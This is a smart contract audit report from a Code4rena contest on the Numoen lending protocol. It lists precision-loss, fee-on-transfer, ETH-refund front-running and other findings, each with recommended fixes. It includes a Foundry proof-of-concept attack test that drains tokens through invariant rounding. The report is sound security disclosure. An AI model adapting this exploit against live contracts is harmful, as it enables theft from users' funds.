Numoen contest
Findings & Analysis Report

2023-03-03

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit contest outlined in this document, C4 conducted an analysis of the Numoen smart contract system written in Solidity. The audit contest took place between January 26—February 1 2023.

Wardens

32 Wardens contributed reports to the Numoen contest:

1. 0xAgro

2. OxSmartContract
3. 0xackermann
4. 0xhacksmithh
5. Allarious
6. Aymen0909
7. Breeje
8. CodingNameKiki
9. Deivitto
10. Diana
11. IllIllI
12. NoamYakov
13. Rageur
14. RaymondFam
15. ReyAdmirado
16. Rolezn
17. SleepingBugs (Deivitto and 0xLovesleep)
18. adeolu
19. antonttc
20. arialblack14
21. btk
22. c3phas
23. chrisdior4
24. cryptostellar5
25. hansfriese
26. ladboy233
27. matrix_0wl
28. nadin
29. oyc_109
30. peakbolt

31. rvierdiiev

This contest was judged by berndartmueller.

Final report assembled by liveactionllama.

Summary

The C4 analysis yielded an aggregated total of 7 unique vulnerabilities. Of these vulnerabilities, 1 received a risk rating in the category of HIGH severity and 6 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 9 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 18 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Numoen contest repository, and is composed of 15 smart contracts written in the Solidity programming language and includes 1,031 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (1)

[H-01] Precision loss in the invariant function can lead to loss of funds

Submitted by hansfriese

src/core/Pair.sol#L56

An attacker can steal the funds without affecting the invariant.

Proof of Concept

We can say the function `Pair.invariant()` is the heart of the protocol.
All the malicious trades should be prevented by this function.

```
Pair.sol
52:   /// @inheritdoc IPair
53:   function invariant(uint256 amount0, uint256 amount1, uint2
54:     if (liquidity == 0) return (amount0 == 0 && amount1 == (
55:
56:     uint256 scale0 = FullMath.mulDiv(amount0, 1e18, liquidit
57:     uint256 scale1 = FullMath.mulDiv(amount1, 1e18, liquidit
58:
59:     if (scale1 > 2 * upperBound) revert InvariantError();
60:
61:     uint256 a = scale0 * 1e18;
62:     uint256 b = scale1 * upperBound;
63:     uint256 c = (scale1 * scale1) / 4;
64:     uint256 d = upperBound * upperBound;
65:
66:     return a + b >= c + d;
67:   }
```

The problem is there is a precision loss in the L56 and L57.
The precision loss can result in the wrong invariant check result.
Let's say the `token0` has 6 decimals and liquidity has more than 24 decimals.

Then the first `FullMath.mulDiv` will cause significant rounding before it's converted to D18.
To clarify the difference I wrote a custom function `invariant()` to see the actual value of `a+b-c-d`.

```
function invariant(uint256 amount0, uint256 amount1, uint256 l
  if (liquidity == 0) {
      require (amount0 == 0 && amount1 == 0);
      return 0;
  }

  // uint256 scale0 = FullMath.mulDiv(amount0* token0Scale, 1e
  // uint256 scale1 = FullMath.mulDiv(amount1* token1Scale, 1e
  uint256 scale0 = FullMath.mulDiv(amount0, 1e18, liquidity) *
  uint256 scale1 = FullMath.mulDiv(amount1, 1e18, liquidity) *

  if (scale1 > 2 * upperBound) revert();

  uint256 a = scale0 * 1e18;
  uint256 b = scale1 * upperBound;
  uint256 c = (scale1 * scale1) / 4;
  uint256 d = upperBound * upperBound;

  res = a + b - c - d;
}

function testAudit1() external
{
  uint256 x = 1*10**6;
  uint256 y = 2 * (5 * 10**24 - 10**21);
  uint256 liquidity = 10**24;
  uint256 token0Scale=10**12;
  uint256 token1Scale=1;
  emit log_named_decimal_uint("invariant", invariant(x, y, lic

  x = 1.5*10**6;
  emit log_named_decimal_uint("invariant", invariant(x, y, lic
}
```

Put these two functions in the `LiquidityManagerTest.t.sol` and run the case. The result is as below and it shows that while the reserve0 amount changes to 150%, the actual value `a+b-c-d` does not change.

```
F:\SOL\Code\Code4rena\2023-01-numoen>forge test -vv --match-test
[⠉] Compiling...
No files changed, compilation skipped

Running 1 test for test/LiquidityManagerTest.t.sol:LiquidityMana
[PASS] testAudit1() (gas: 10361)
Logs:
  invariant: 0.000000000000000000000000000000000000
  invariant: 0.000000000000000000000000000000000000

Test result: ok. 1 passed; 0 failed; finished in 5.74ms
```

So what does this mean? We know that if `a+b-c-d` is positive, it means anyone can call `swap()` to withdraw the excess value.
The above test shows that the significant change in the token0 reserve amount did not change the value `a+b-c-d`.
Based on this, I wrote an attack case where dennis pulls 0.5*10**6 token0 without cost while the invariant stays at zero.
Although the benefit is only 0.5 USDC for this test case, this shows a possibility drawing value without affecting the invariant for pools with low decimals.

```
  function testAttack() external
  {
    // token0 is USDC
    token0Scale = 6;
    token1Scale = 18;

    // cuh adds liquidity
    lendgine = Lendgine(factory.createLendgine(address(token0),

    uint256 amount0 = 1.5*10**6;
    uint256 amount1 = 2 * (5 * 10**24 - 10**21);
    uint256 liquidity = 10**24;

    token0.mint(cuh, amount0);
    token1.mint(cuh, amount1);

    vm.startPrank(cuh);
    token0.approve(address(liquidityManager), amount0);
    token1.approve(address(liquidityManager), amount1);
    liquidityManager.addLiquidity(
      LiquidityManager.AddLiquidityParams({
        token0: address(token0),
        token1: address(token1),
        token0Exp: token0Scale,
        token1Exp: token1Scale,
        upperBound: upperBound,
        liquidity: liquidity,
        amount0Min: amount0,
        amount1Min: amount1,
        sizeMin: 0,
        recipient: cuh,
        deadline: block.timestamp
      })
    );
    vm.stopPrank();
    showLendgineInfo();

    // dennis starts with zero token
    assertEq(token0.balanceOf(dennis), 0);

    // dennis pulls 0.5 USDC free
    lendgine.swap(
      dennis,
      5*10**5,
      0,
      abi.encode(
        SwapCallbackData({token0: address(token0), token1: addre
      )
    );

    showLendgineInfo();

    // assert
    assertEq(token0.balanceOf(dennis), 5*10**5);
  }
```

Tools Used

Foundry

Recommended Mitigation Steps

Make sure to multiply first before division to prevent precision loss.

```
    /// @inheritdoc IPair
    function invariant(uint256 amount0, uint256 amount1, uint256 l
      if (liquidity == 0) return (amount0 == 0 && amount1 == 0);

      uint256 scale0 = FullMath.mulDiv(amount0 * token0Scale, 1e1
      uint256 scale1 = FullMath.mulDiv(amount1 * token1Scale, 1e1

      if (scale1 > 2 * upperBound) revert InvariantError();

      uint256 a = scale0 * 1e18;
      uint256 b = scale1 * upperBound;
      uint256 c = (scale1 * scale1) / 4;
      uint256 d = upperBound * upperBound;

      return a + b >= c + d;
    }
```

kyscott18 (Numoen) confirmed and commented:

> We agree with the issue and implemented the same fix.

Medium Risk Findings (6)

[M-01] Fee on transfer tokens will not behave as expected

Submitted by RaymondFam*, also found by* Deivitto, 0xhacksmithh, peakbolt*, and* rvierdiiev

In Numoen, it does not specifically restrict the type of ERC20 collateral used for borrowing.

If fee on transfer token(s) is/are entailed, it will specifically make `mint()` revert in Lendgine.sol when checking if `balanceAfter < balanceBefore + collateral`.

Proof of Concept

File: Lendgine.sol#L71-L102

```
  function mint(
    address to,
    uint256 collateral,
    bytes calldata data
  )
    external
    override
    nonReentrant
    returns (uint256 shares)
  {
    _accrueInterest();

    uint256 liquidity = convertCollateralToLiquidity(collateral)
    shares = convertLiquidityToShare(liquidity);

    if (collateral == 0 || liquidity == 0 || shares == 0) revert
    if (liquidity > totalLiquidity) revert CompleteUtilizationEr
    // next check is for the case when liquidity is borrowed but
    if (totalSupply > 0 && totalLiquidityBorrowed == 0) revert (

    totalLiquidityBorrowed += liquidity;
    (uint256 amount0, uint256 amount1) = burn(to, liquidity);
    _mint(to, shares);

    uint256 balanceBefore = Balance.balance(token1);
    IMintCallback(msg.sender).mintCallback(collateral, amount0,
    uint256 balanceAfter = Balance.balance(token1);

99:    if (balanceAfter < balanceBefore + collateral) revert Ins

    emit Mint(msg.sender, collateral, shares, liquidity, to);
  }
```

As can be seen from the code block above, line 99 is meant to be reverting when `balanceAfter < balanceBefore + collateral`. So in the case of deflationary tokens, the error is going to be thrown even though the token amount has been received due to the fee factor.

Recommended Mitigation Steps

Consider:

1. whitelisting token0 and token1 ensuring no fee-on-transfer token is allowed when a new instance of a market is created using the factory, or
2. calculating the balance before and after the transfer of token1 (collateral), and use the difference between those two balances as the amount received rather than using the input amount `collateral` if deflationary token is going to be allowed in the protocol.

kyscott18 (Numoen) commented:

> Can you give an example of a deflationary token? Does this mean that the balance goes down w.r.t. time or w.r.t being transferred.

berndartmueller (judge) commented:

> Can you give an example of a deflationary token? Does this mean that the balance goes down w.r.t. time or w.r.t being transferred.

> @kyscott18 - With regard to being transferred.

> https://github.com/d-xo/weird-erc20#fee-on-transfer is a great resource on this topic.

berndartmueller (judge) commented:

> This finding and its duplicates show a valid issue that prevents the use of rebase/FoT tokens with the protocol. As there is no clear mention of the support of non-standard ERC-20 tokens in the Numoen docs or contest README, I consider Medium the appropriate severity.

kyscott18 (Numoen) commented:

> How is this different from https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol#L486-L490? If it isn't any different, which I don't think it is, then we will just acknowledge this and be mindful of which token we allow people to list.

berndartmueller (judge) commented:

> @kyscott18 - In this specific case of the `mint(..)` function, there is no difference to Uniswap. Both implementations do not work properly for this kind of rebase/FoT tokens. Uniswap V3 is built on a setup of assumptions (see here), excluding rebase tokens.

> It becomes a bigger issue if the use of rebase tokens can influence the token balance accounting of other regular ERC-20 token pairs, which is not the case for Numoen.

> One of the other submissions presents further instances in the code which are potentially affected by incorrect token balance accounting caused by rebase/FoT token -> issue 272

kyscott18 (Numoen) commented:

> Okay, thanks for clarifying. I think we should mark this as noted by the team because we want to use the same assumptions as uniswap in this case.

[M-02] First liquidity provider will suffer from revert or fund loss

Submitted by hansfriese

src/periphery/LiquidityManager.sol#L135

The first liquidity depositor should supply three input values `amount0Min, amount1Min, liquidity` via `AddLiquidityParams` but these three values should meet an accurate relationship, or else the depositor will suffer from revert or fund loss

Proof of Concept

The LPs are supposed to use the function `LiquidityManager.addLiquidity(AddLiquidityParams calldata params)` to add liquidity.
When the pool is not empty, this function calculates the `amount0, amount1` according to the current total liquidity and the requested liquidity.

But when the pool is empty, these amounts are supposed to be provided by the caller.

```
LiquidityManager.sol

  struct AddLiquidityParams {
    address token0;
    address token1;
    uint256 token0Exp;
    uint256 token1Exp;
    uint256 upperBound;
    uint256 liquidity;
    uint256 amount0Min;
    uint256 amount1Min;
    uint256 sizeMin;
    address recipient;
    uint256 deadline;
  }

  /// @notice Add liquidity to a liquidity position
  function addLiquidity(AddLiquidityParams calldata params)
    address lendgine = LendgineAddress.computeAddress(
      factory, params.token0, params.token1, params.token0E
    );

    uint256 r0 = ILendgine(lendgine).reserve0();
    uint256 r1 = ILendgine(lendgine).reserve1();
    uint256 totalLiquidity = ILendgine(lendgine).totalLiqui

    uint256 amount0;
    uint256 amount1;

    if (totalLiquidity == 0) {
      amount0 = params.amount0Min;//@audit-info caller spec
      amount1 = params.amount1Min;//@audit-info
    } else {
      amount0 = FullMath.mulDivRoundingUp(params.liquidity,
      amount1 = FullMath.mulDivRoundingUp(params.liquidity,
    }

    if (amount0 < params.amount0Min || amount1 < params.amo

    uint256 size = ILendgine(lendgine).deposit(
      address(this),
      params.liquidity,
      abi.encode(
        PairMintCallbackData({
          token0: params.token0,
          token1: params.token1,
          token0Exp: params.token0Exp,
          token1Exp: params.token1Exp,
          upperBound: params.upperBound,
          amount0: amount0,
          amount1: amount1,
          payer: msg.sender
        })
      )
    );
    if (size < params.sizeMin) revert AmountError();

    Position memory position = positions[params.recipient][

    (, uint256 rewardPerPositionPaid,) = ILendgine(lendgine
    position.tokensOwed += FullMath.mulDiv(position.size,
    position.rewardPerPositionPaid = rewardPerPositionPaid;
    position.size += size;

    positions[params.recipient][lendgine] = position; // S

    emit AddLiquidity(msg.sender, lendgine, params.liquidit
  }
```

Then how does the caller decide these amounts? These values should be chosen very carefully as we explain below.

The whole protocol is based on its invariant that is defined in `Pair.invariant()`. The invariant is actually ensuring that `a+b-c-d` stays not negative for all trades (interactions regarding reserve/liquidity).
Once `a+b-c-d` becomes strictly positive, anyone can call `swap()` function to pull the `token0` of that amount without any cost.

```
Pair.sol
  /// @inheritdoc IPair
  function invariant(uint256 amount0, uint256 amount1, uint2
    if (liquidity == 0) return (amount0 == 0 && amount1 ==

    uint256 scale0 = FullMath.mulDiv(amount0, 1e18, liquidit
    uint256 scale1 = FullMath.mulDiv(amount1, 1e18, liquidit

    if (scale1 > 2 * upperBound) revert InvariantError();

    uint256 a = scale0 * 1e18;
    uint256 b = scale1 * upperBound;
    uint256 c = (scale1 * scale1) / 4;
    uint256 d = upperBound * upperBound;

    return a + b >= c + d;//@audit-info if strict inequality
  }
```

So going back to the question, if the LP choose the values `amount0, amount1, liquidity` not accurately, the transaction reverts or `a+b-c-d` becomes greater than zero.

Generally, liquidity providers do not specify the desired liquidity amount in other protocols.
During the conversation with the sponsor team, it is understood that they avoided the calculation of `liquidity` from `amount0, amount1` because it is too complicated.
Off-chain calculation will be necessary to help the situation, and this would limit the growth of the protocol.
If any other protocol is going to integrate Numoen, they will face the same problem.

I did some calculations and got the formula for the liquidity as below.

$L = \frac{PCy+C^2x+\sqrt{2PC^3xy+C^4x^2}}{2P^2}$

where $C=10^{18}$, x is `amount0` , y is `amount1` , P is the `upperBound` , L is the liquidity amount that should be used.

Because the LP will almost always suffer revert or fund loss without help of off-chain calculation, I submit this as a medium finding.
I would like to note that there still exists a mitigation (not that crazy).
As a side note, it would be very helpful to add new preview functions.

Recommended Mitigation Steps

Add a functionality to calculate the liquidity for the first deposit on-chain.
And it is also recommended to add preview functions.

kyscott18 (Numoen) acknowledged and commented:

> We still think it is better off to pass in the amount of liquidity as part of the input. It won't result in loss of funds for first time depositors because they can know before time if the amount of tokens they supply match up to the amount of liquidity that they specified or not. I will take a look at this formula in more detail.

[M-03] Economical games that can be played to gain MEV

Submitted by *Allarious*

Disclaimer from warden: Developers did an extremely good job writing the protocol, however, these are some aspects that I think are missed in the design stage and can be considered. Look at it as a food for thought in future designs.

Impact

How the invariant works

The invariant of the project is a power formula that follows:

```
k = x - (p_0 + (-1/2) * y)^2
```

Where it is implemented by the code below:

```
function invariant(uint256 amount0, uint256 amount1, uint256 l
  if (liquidity == 0) return (amount0 == 0 && amount1 == 0);

  uint256 scale0 = FullMath.mulDiv(amount0, 1e18, liquidity) *
  uint256 scale1 = FullMath.mulDiv(amount1, 1e18, liquidity) *

  if (scale1 > 2 * upperBound) revert InvariantError();

  uint256 a = scale0 * 1e18;
  uint256 b = scale1 * upperBound;
```

```
        uint256 c = (scale1 * scale1) / 4;
        uint256 d = upperBound * upperBound;

        return a + b >= c + d;
    }
```

Where `x` is equal to `scale0`, y is equal to `scale1` and `p0` is the upper bound. The graph that draws the acceptable point by the invariant is shown below:

invariant image

We can see that the `scale1` does not put a hard cap on `scale0`, but `scale0` does. Also the upper half of the plot is not acceptable by the plot. Overall, it is expected by the protocol that the (scale0, scale1) stays on the curve on the bottom. The derivative of the equation is:

```
dx/dy = x/2 - p0
or
d(scale0)/d(scale1) = scale1 / 2 - p0
```

Which means whenever the price of the two tokens is different than this derivative, there is an arbitrage opportunity. The reason `p0` is called upper bound is that the protocol only anticipates the price fraction until the price of asset1 is p0 times the price of asset0 (The curve needs scale1 to be less than zero to support lower prices which is not possible). when `scale1 = 2*p0`, the price of the scale1/scale0 is zero and scale0 is infinite times more valuable than scale1 token. This is the value used to make sure a position is never undercollateralized.

The problem

The liquidity market of a `lendgine` is revolved around `upperbound`. Liquidity providers are looking for the highest `upperbound` possible where the borrowers are providing the most collateral. And the borrowers are looking for the lowest `upperbound` possible where they lock in the least collateral for the most liquidity. Therefore, there should be a middle ground reached by the two sides. The middle ground for the both side is an uppderbound that is far away from the current price, where the liquidity providers feel safe, and is close enough to the actual price that the borrowers find the fees they pay logical. However, if the `upperbound` is a function of how close it is to the actual price, and the actual relative price of the two tokens is volatile, accepted `upperbound` will change through time as well. Therefore we can expect that for two tokens, the liquidity will be moving from one market to another as the accepted `upperbound` value changes. This means that if a lendgine is busy one day, might not be so busy the other day with the price change. This is not a problem by itself, but can leave some liquidity providers behind in locked markets which is explained in the proof of concept.

The second problem comes from the fact that while the lendgine algorithm makes sure a position is never undercollateralized, it does not value bigger markets more than the smaller ones. This means that a lender while lending, only cares about the smallest `upperbound` possible and the liquidity market would be basically a set of price bids, if a borrwer wants to borrow amount `B` from the whole market, starts from the smallest `upperbound` and if there is not enough liquidity in the smaller one, it makes its way up until he has `B` borrowed. (of course he will consider the fee that he should pay) Therefore, this would cause the liquidity providing market to be extremely scattered, and for each lendgine, liquidity providing is highly centralized (since many lendgines can be made and the upper bound value can be controversial).

Proof of concept

Lets consider several cases: (These also happen in other markets, but can get exaggerated here)

- Imagine a liquidity market which has up to a considerable percentage of its liquidity borrowed, if the safe `upperbound` for the liquidators starts to move down the protocol allows the earliest liquidators to opt-out, creating a certain kind of MEV for the fastest liquidators. While the remaining providers will get more fees, the protocol favors the fastest actors to decide when to opt-out. In the extreme case of base token crashing down, there would be a race between borrowers to lock the money and the earliest liquidity providers to get out.
- Liquidity providers might mint some shares for themselves in times of uncertainty, just to have the option to quickly opt-out of the protocol if they need. They can give back the borrowed amount and withdraw the said amount in one transaction. while if they do not lock the funds, they either have to take the funds out or someone else might come and get lock the funds.

Recommended Mitigation Steps

There are two things that could be done in the future to mitigate issues:

- value the bigger markets more than the smaller ones, where users are incentivized to use the bigger markets.
- Use an aggregator that crawls over several markets and let liquidity providers to stake in a range of liquidity.

kyscott18 (Numoen) acknowledged and commented:

> Really well written and appreciated.

[M-04] Wrong init code hash

Submitted by hansfriese, *also found by* nadin

An init code hash is used to calculate the address of UniswapV2 pair contract. But the init code hash is not same as the latest UniswapV2 repository.

Proof of Concept

UniswapV2Library.pairFor uses the following value as the init code hash of UniswapV2Pair.

```
        hex"e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dc
```

But it is different from the init code hash of the uniswap v2 repository.

I tested this using one of the top UniswapV2 pairs. DAI-USDC is in the third place here.

The token addresses are as follows:

DAI: 0x6B175474E89094C44Da98b954EedeAC495271d0F

USDC: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48

And the current UniswapV2Factory address is 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f here.

The pair address calculated is 0x6983E2Da04353C31c7C42B0EA900a40B1D5bf845. And we can't find pair contract in the address.

So I think the old version of UniswapV2Factory and pair are used here. And it can cause a risk when liquidity is not enough for the pair.

Recommended Mitigation Steps

Integrate the latest version of UniswapV2.

kyscott18 (Numoen) acknowledged and commented:

> I should have been more specific, but the init code hash that I submitted is the sushiswap one.

[M-05] Borrower can lose partial fund during minting of Power Token as excess ETH are not refunded automatically

Submitted by peakbolt, *also found by* rvierdiiev *and* adeolu

src/periphery/LendgineRouter.sol#L142
src/periphery/LendgineRouter.sol#L87-L124
src/periphery/LendgineRouter.sol#L119-L123
src/periphery/Payment.sol#L44-L46

When the collateral/speculative token (Token1) is WETH, a borrower could mint Power Tokens and deposit the collateral tokens by sending ETH while calling the payable mint() function in LendgineRouter.sol.

The exact collateral amount required to be deposited by the borrower is only calculated during minting (due to external swap), which could be lesser than what the borrower has sent for the mint. This means that there will be excess ETH left in LengineRouter contract and they are not automatically refunded to the borrower.

Anyone that sees this opportunity can call refundETH() to retrieve the excess ETH.

The borrower could retrieve the remaining ETH with a separate call to refundETH(). However, as the calls are not atomic, it is possible for a MEV bot to frontrun the borrower and steal the ETH too.

Furthermore, there are no documentation and test cases that advise or handle this issue.

Proof of Concept

First, call payable mint() in LendgineRouter contract with the required ETH amount for collateral.

```
function mint(MintParams calldata params) external payable check
```

[src/periphery/LendgineRouter.sol#L142]()

LendgineRouter.mintCallback() will be triggered, which will perform the external swap of the borrowed token0 to token1 on uniswap. The collateralSwap value (token1) is only calculated and known after the successful swap. Both swapped token1 and borrowed token1 are then sent to Lendgine contract (msg.sender).

```
// swap all token0 to token1
uint256 collateralSwap = swap(
  decoded.swapType,
  SwapParams({
    tokenIn: decoded.token0,
    tokenOut: decoded.token1,
    amount: SafeCast.toInt256(amount0),
    recipient: msg.sender
  }),
  decoded.swapExtraData
);

// send token1 back
SafeTransferLib.safeTransfer(decoded.token1, msg.sender, amount1
```

[src/periphery/LendgineRouter.sol#L87-L124]()

After that, mintCallback() will continue to calculate the remaining token1 required to be paid by the borrower (collateralIn value).

Depending on the external swap, the collateralSwap (token1) value could be higher than expected, resulting in a lower collateralIn value. A small collateralIn value means that less ETH is required to be paid by the borrower (via the pay function), resulting in excess ETH left in the LengineRouter contract. However, the excess ETH is not automatically refunded by the mint() call.

Note: For WETH, the pay() uses the ETH balance deposited and wrap it before transferring to Lendgine contract.

```
// pull the rest of tokens from the user
uint256 collateralIn = collateralTotal - amount1 - collateralSwa
if (collateralIn > decoded.collateralMax) revert AmountError();

pay(decoded.token1, decoded.payer, msg.sender, collateralIn);
```

src/periphery/LendgineRouter.sol#L119-L123

A MEV bot or anyone that see this opportunity can call refundETH() to retrieve the excess ETH.

```
function refundETH() external payable {
        if (address(this).balance > 0) SafeTransferLib.safeTrans
}
```

src/periphery/Payment.sol#L44-L46

Recommended Mitigation Steps

Automatically refund any excess ETH to the borrower.

kyscott18 (Numoen) acknowledged and commented:

> We expect this issue to be mitigated by a user using the multicall feature of our contract. When expecting to receive eth or not spending the total amount of eth sent, a multicall should be called with the second call calling refundEth() to sweep

> up the rest of the eth left over in the contract. Because the multicall is atomic, no bot can frontrun the user.

> This situation is also present in Uniswap V3 and there has been some debate about it. For me, the general consensus is that it is not an issue as refundEth() and multicall() are expected to be used, and not using this is the fault of the user.

berndartmueller (judge) decreased severity to Medium and commented:

> It is the responsibility of the user to use the contracts appropriately (e.g. using `multicall(..)`) to make sure leftover funds are sent out. However, due to the lack of documentation to properly educate about the usage of multicall, I consider Medium severity to be appropriate.

[M-06] Division before multiplication incurs unnecessary precision loss

Submitted by ladboy233*, also found by* Breeje

src/core/Pair.sol#L56
src/core/Pair.sol#L57
core/Lendgine.sol#L252

Proof of Concept

In the current codebase, FullMath.mulDiv is used, the function takes three parameters.

Basically `FullMath.mulDIv(a, b, c)` means `a * b / c`.

Then there are some operations which incur unnecessary precision loss because of division before multiplcation.

When accruing interest, the code below:

```
/// @notice Helper function for accruing lendgine interest
function _accrueInterest() private {
  if (totalSupply == 0 || totalLiquidityBorrowed == 0) {
    lastUpdate = block.timestamp;
```

```
      return;
    }

    uint256 timeElapsed = block.timestamp - lastUpdate;
    if (timeElapsed == 0) return;

    uint256 _totalLiquidityBorrowed = totalLiquidityBorrowed; //
    uint256 totalLiquiditySupplied = totalLiquidity + _totalLiqu

    uint256 borrowRate = getBorrowRate(_totalLiquidityBorrowed,

    uint256 dilutionLPRequested = (FullMath.mulDiv(borrowRate, _
    uint256 dilutionLP = dilutionLPRequested > _totalLiquidityBo
    uint256 dilutionSpeculative = convertLiquidityToCollateral(c

    totalLiquidityBorrowed = _totalLiquidityBorrowed - dilutionI
    rewardPerPositionStored += FullMath.mulDiv(dilutionSpeculati
    lastUpdate = block.timestamp;

    emit AccrueInterest(timeElapsed, dilutionSpeculative, diluti
  }
```

Note the line:

```
uint256 dilutionLPRequested = (FullMath.mulDiv(borrowRate, _tot
```

This basically equals to `dilutionLPRequested = (borrowRate * totalLiquidityBorrowed / 1e18 * timeElapsed) / 365 days`

The first part of division can greatly truncate the value `borrowRate * totalLiquidityBorrowed / 1e18`, the totalLiquidityBorrowed should be normalized and scaled by token precision when adding liqudity instead of division by 1e18 here.

Same preicision loss happens when computng the invariant

```
  /// @inheritdoc IPair
  function invariant(uint256 amount0, uint256 amount1, uint256 l
    if (liquidity == 0) return (amount0 == 0 && amount1 == 0);
```

```
        uint256 scale0 = FullMath.mulDiv(amount0, 1e18, liquidity) *
        uint256 scale1 = FullMath.mulDiv(amount1, 1e18, liquidity) *
```

```
scale0 = (amount0 * 1e18 / liqudiity) * token0Scale
scale1 = (amount1 * 1e18 / liqudiity) * token1Scale
```

Whereas the amount0 and amount1 should be first be normalized by token0Scale and token1Scale and then divided by liquidity at last. If the liquidity is a larger number `amount0 * 1e18 / liqudity` is already truncated to 0.

Recommended Mitigation Steps

We recommend the protocol avoid divison before multiplication and always perform division operation at last.

kyscott18 (Numoen) confirmed

Low Risk and Non-Critical Issues

For this contest, 9 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **CodingNameKiki** received the top score from the judge.

The following wardens also submitted reports: matrix_0wl, SleepingBugs, IIIIIII, 0xAgro, 0xSmartContract, btk, chrisdior4, and Rolezn.

Summary

Issues Template

Letter	Name	Description
L	Low risk	Potential risk
NC	Non-critical	Non risky findings
R	Refactor	Changing the code
O	Ordinary	Often found issues

Total Found Issues	21

Low Risk Issues

Count	Explanation	Instances
[L-01]	Dangerous use of the `burn` function	1
[L-02]	`refundETH` can be front-run preventing users from getting their eth back	1
[L-03]	The function `collect` forgets to accrue position interest before the user collects the interest of his position	1
[L-04]	Minting tokens to the zero address should be avoided	1

Total Low Risk Issues	4

Non-Critical Issues

Count	Explanation	Instances
[N-01]	The function `collect` should revert incase the collateral is zero	1
[N-02]	The check for liquidity in `mint` is unrealistic, as it can never happen	1
[N-03]	Unnecessary if statement applied in the function `sweepToken`	2
[N-04]	Require statements missing strings	3
[N-05]	Constructor lacks address(0) check	4
[N-06]	Confusing revert statement	1

Total Non-Critical Issues	6

Refactor Issues

Count	Explanation	Instances
[R-01]	`invariant` could just return false if the liquidity is zero	1
[R-02]	Some number values can be refactored with `_`	1
[R-03]	Value should be unchecked	1

Count	Explanation	Instances
[R-04]	`2**<n> - 1` can be refactored as `type(uint<n>).max`	1

Total Refactor Issues	4

Ordinary Issues

Count	Explanation	Instances
[O-01]	Floating pragma	12
[O-02]	Use a more recent pragma version	15
[O-03]	Events is missing indexed fields	1
[O-04]	Function Naming suggestions	13
[O-05]	Proper use of get as a function name prefix	3
[O-06]	Hardcoded values can't be changed	1
[O-07]	PositionMath contains outdated compiler version	1

Total Ordinary Issues	7

[L-01] Dangerous use of the `burn` function

The function `burn` is used by users to burn an option position by minting the required liquidity and unlocking the collateral.
As how the function is designed right now in order to do that, the user needs to send his shares to the contract balance.
This is simply too risky, as anyone can call the function and basically burn the shares deposited by the users, before they even get the chance to call the function first.

Instead of the need to send the shares to the contract balance, the function can be refactored to check the balance of shares the user posses and to burn them in the moment of execution or on top of that to input a uint value of how many shares the user wants to burn.

```
src/core/Lendgine.sol

105:  function burn(address to, bytes calldata data) external ov
```

```
    _accrueInterest();

    uint256 shares = balanceOf[address(this)];
    uint256 liquidity = convertShareToLiquidity(shares);
    collateral = convertLiquidityToCollateral(liquidity);

    if (collateral == 0 || liquidity == 0 || shares == 0) re

    totalLiquidityBorrowed -= liquidity;
    _burn(address(this), shares);
    SafeTransferLib.safeTransfer(token1, to, collateral); //
    mint(liquidity, data);

    emit Burn(msg.sender, collateral, shares, liquidity, to)
  }
```

[L-02] `refundETH` can be front-run preventing users from getting their eth back

The function `refundETH` in Payment.sol is used by users to get their ether back if they send more than the needed amount when using the function `pay`. The problem here is as how the function is designed, any eth values in the contract can be withdrawn by anyone. This bring the risk, where a malicious users can front-run users and successfuly steal their refunds.

```
src/periphery/Payment.sol

function refundETH() external payable {
  if (address(this).balance > 0) SafeTransferLib.safeTransf
}
```

[L-03] The function `collect` forgets to accrue position interest before the user collects the interest of his position

In Lendgine the function `collect` is used by the users to collect the interest that has been gathered to their liquidity position.
The problem here occurring is that the function is supposed to accrue both the global interest and the user's liquidity position interest to the current block.timestamp. Note that what I just described is true and it's already applied in a

similar function in LiquidityManager - collect(). Consider calling `accruePositionInterest` prior to executing the function `collect`, so the interest can accrued till the current time of the block.timestamp.

```
src/core/Lendgine.sol

function collect(address to, uint256 collateralRequested)
  Position.Info storage position = positions[msg.sender];
  uint256 tokensOwed = position.tokensOwed;

  collateral = collateralRequested > tokensOwed ? tokensOw

  if (collateral > 0) {
    position.tokensOwed = tokensOwed - collateral; // SSTO
    SafeTransferLib.safeTransfer(token1, to, collateral);
  }

  emit Collect(msg.sender, to, collateral);
}
```

You can see that this is already applied in a similar function:

```
src/periphery/LiquidityManager.sol

function collect(CollectParams calldata params) external p
  ILendgine(params.lendgine).accruePositionInterest();

  address recipient = params.recipient == address(0) ? add

  Position memory position = positions[msg.sender][params.

  (, uint256 rewardPerPositionPaid,) = ILendgine(params.le
  position.tokensOwed += FullMath.mulDiv(position.size, re
  position.rewardPerPositionPaid = rewardPerPositionPaid;

  amount = params.amountRequested > position.tokensOwed ?
  position.tokensOwed -= amount;

  positions[msg.sender][params.lendgine] = position; // SS

  uint256 collectAmount = ILendgine(params.lendgine).colle
  if (collectAmount != amount) revert CollectError(); // e
```

```

    emit Collect(msg.sender, params.lendgine, amount, recipi
  }
```

[L-04] Minting tokens to the zero address should be avoided

The core function `mint` is used by users to mint an option position by providing token1 as collateral and borrowing the max amount of liquidity. Address(0) check is missing in both this function and the internal function `_mint`, which is triggered to mint the tokens to the `to` address. Consider applying a check in the function to ensure tokens aren't minted to the zero address.

```
src/core/Lendgine.sol

function mint(
  address to,
  uint256 collateral,
  bytes calldata data
)
  external
  override
  nonReentrant
  returns (uint256 shares)
{
  _accrueInterest();

  uint256 liquidity = convertCollateralToLiquidity(collater
  shares = convertLiquidityToShare(liquidity);

  if (collateral == 0 || liquidity == 0 || shares == 0) re
  if (liquidity > totalLiquidity) revert CompleteUtilizati
  // next check is for the case when liquidity is borrowed
